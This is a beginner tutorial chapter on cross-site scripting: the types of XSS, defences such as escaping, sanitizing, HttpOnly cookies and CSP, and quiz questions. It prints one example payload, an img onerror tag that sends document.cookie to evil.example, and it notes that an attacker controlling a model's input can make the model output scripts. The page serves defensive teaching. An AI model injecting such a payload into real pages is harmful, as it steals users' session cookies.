Skip to content

Try “polymorphism”, “TCP handshake” or “git rebase”.

    Computer Basics / Security Fundamentals

    XSS: Attacker Scripts in Your Users' Browsers

    XSS (Cross-Site Scripting) — an attacker gets their JavaScript to run inside your website, in other users' browsers. The

    Chapter 8 of 135 min read

    The Plain Picture#

    A school notice board where anyone can pin a note. Someone pins a note that looks like a note but is actually a tiny robot: when a student reads it, the robot quietly copies the student's locker key and sends it to the prankster.

    The Real Names#

    • XSS (Cross-Site Scripting) — an attacker gets their JavaScript to run inside your website, in other users' browsers. The script has all the power your own page's code has: it can read the page, make requests as the user, and (unless the cookie is HttpOnly) steal their session cookie. Part 0's problem 4.

    • Stored XSS — the script is saved (in a note, comment, profile) and runs for everyone who views it.

    • Reflected XSS — the script comes from the URL and is echoed straight back in the response (/search?q=<script>...</script>).

    • DOM-based XSS — the page's own JavaScript takes input (like the URL fragment) and inserts it into the page unsafely.

    Under the Hood#

    A student saves a note titled:

    HTML
    <img src="x" onerror="fetch('https://evil.example/steal?c=' + document.cookie)">

    If StudyBuddy inserts that title into the page as raw HTML, every classmate's browser tries to load image x, fails, runs the onerror code, and sends their cookie to the attacker.

    The defences, in layers (defence in depth, Ch 1):

    1. Output encoding / escaping — when inserting data into HTML, convert special characters to harmless text: < → &lt;, > → &gt;, " → &quot;, & → &amp;. The browser then shows <img ...> as text instead of running it. React escapes everything by default (React Fundamentals (coming soon)) — XSS in React usually comes from dangerouslySetInnerHTML or from putting user input into href="javascript:..." links.

    2. Sanitize rich content — if users may write formatted notes (bold, links), run the HTML through a sanitizer library (e.g. DOMPurify) that keeps only an allow-list of safe tags and attributes.

    3. HttpOnly cookies — scripts can't read them, so even successful XSS can't steal the session cookie directly (Networking 3: DNS, HTTP and HTTPS Ch 7).

    4. Content Security Policy (CSP) — a response header telling the browser which scripts may run, e.g. Content-Security-Policy: script-src 'self' = "only scripts from our own domain; no inline scripts". An injected inline script is blocked even if it gets onto the page.

    Gotchas

    • Validating input isn't enough on its own. The same data may be safe in one place and dangerous in another (HTML body, HTML attribute, JavaScript, URL). Escape for the specific context at the moment of output.

    • Markdown (a simple text format where **bold** becomes bold and # Title becomes a heading — these study files are written in it) is turned into HTML when displayed, so user-written Markdown can smuggle in HTML — sanitize the resulting HTML.

    • An AI model's output is untrusted input too. If StudyBuddy renders the assistant's answer as HTML, an attacker who controls the model's input (Ch 12) can make it output a script.

    Check yourself

    4 questions
    1

    What is XSS, and what can the attacker's script do?

    Show answer

    Running attacker JavaScript in other users' browsers within your site; it can read the page, act as the user, and steal non-HttpOnly cookies.

    2

    Stored vs reflected XSS?

    Show answer

    Stored: saved on the server and served to everyone who views it. Reflected: echoed from the request (e.g. URL) back into the response.

    3

    Name four layers of defence.

    Show answer

    Context-aware output escaping, HTML sanitization for rich content, HttpOnly cookies, Content Security Policy.

    4

    Why is React mostly safe by default, and where does XSS still sneak in?

    Show answer

    React escapes values inserted into JSX; XSS returns via dangerouslySetInnerHTML, javascript: URLs, or unsanitized HTML from libraries.